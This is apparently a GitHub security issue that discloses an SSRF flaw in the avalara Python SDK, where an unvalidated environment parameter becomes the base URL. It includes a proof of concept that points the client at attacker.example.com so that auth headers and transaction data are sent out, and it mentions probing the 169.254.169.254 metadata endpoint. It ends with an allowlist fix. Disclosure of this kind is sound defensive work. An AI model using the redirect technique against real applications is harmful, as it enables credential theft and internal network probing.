Skip to content

Security: SSRF in avalara Python SDK via unvalidated environment parameter #186

Description

@gnsehfvlr

Security Vulnerability: Server-Side Request Forgery (SSRF) in avalara

Summary

The avalara Python SDK (version 26.6.0) accepts a user-supplied environment parameter that is stored directly as self.base_url without validation, causing all subsequent API calls—including those transmitting authentication headers—to be directed to an attacker-controlled URL. This constitutes a Server-Side Request Forgery (SSRF) vulnerability that can lead to credential theft and internal network access.

Affected Package

Vulnerability Details

In client.py at lines 71-72, the AvataxClient constructor accepts an environment argument and assigns it directly to self.base_url:

# client.py lines 71-72 (approximate)
self.base_url = environment

No URL validation, allowlist check, or scheme restriction is performed. Every subsequent API method constructs request URLs by prepending self.base_url, and authentication credentials (username/password or API key) are attached as HTTP headers to these requests. If an attacker can influence the environment parameter (e.g., via a configuration file, environment variable, or application-layer injection), they can redirect all SDK traffic—including authentication headers—to an arbitrary server they control.

Proof of Concept

from avalara import AvataxClient

# Attacker controls an HTTP server at http://attacker.example.com/
# By passing it as the environment parameter, all API calls go there
client = AvataxClient(
    app_name="test",
    app_version="1.0",
    machine_name="localhost",
    environment="http://attacker.example.com/"
)

# Authenticate - credentials are sent to attacker's server
client.add_credentials("valid_username", "valid_password")

# Any API call will now exfiltrate auth headers to the attacker
response = client.query_tax_rates({"line1": "2000 Main Street", "city": "Irvine", "region": "CA", "postalCode": "92614", "country": "US"})
# HTTP request with Authorization header goes to http://attacker.example.com/

Impact

An attacker who can control the environment parameter achieves:

  1. Credential exfiltration: Authentication headers (Bearer tokens, Basic auth credentials) are sent to the attacker's server.
  2. Internal network scanning/access (SSRF): The SDK can be pointed at internal services (e.g., http://169.254.169.254/ for cloud metadata endpoints, or internal microservices) to probe or interact with systems not directly exposed to the public internet.
  3. Data exfiltration: All request bodies (tax transaction data, PII) are forwarded to the attacker.
  4. Potential for lateral movement in cloud/containerized environments via metadata service abuse.

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N

Remediation

  1. Validate the environment parameter against a strict allowlist of known Avalara API base URLs (e.g., https://rest.avatax.com for production, https://sandbox-rest.avatax.com for sandbox).
  2. Reject or sanitize any value that does not match the allowlist, raising a ValueError with a clear message.
  3. Avoid accepting arbitrary URLs from user-supplied input for security-sensitive HTTP client base URLs.

Example fix:

ALLOWED_ENVIRONMENTS = {
    "production": "https://rest.avatax.com",
    "sandbox": "https://sandbox-rest.avatax.com",
}

def __init__(self, app_name, app_version, machine_name, environment="sandbox"):
    if environment in ALLOWED_ENVIRONMENTS:
        self.base_url = ALLOWED_ENVIRONMENTS[environment]
    else:
        raise ValueError(f"Invalid environment '{environment}'. Must be one of: {list(ALLOWED_ENVIRONMENTS.keys())}")

Disclosure Timeline

  • 2026-07-02: Discovered via DAST scan
  • 2026-07-02: Reported to maintainer

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions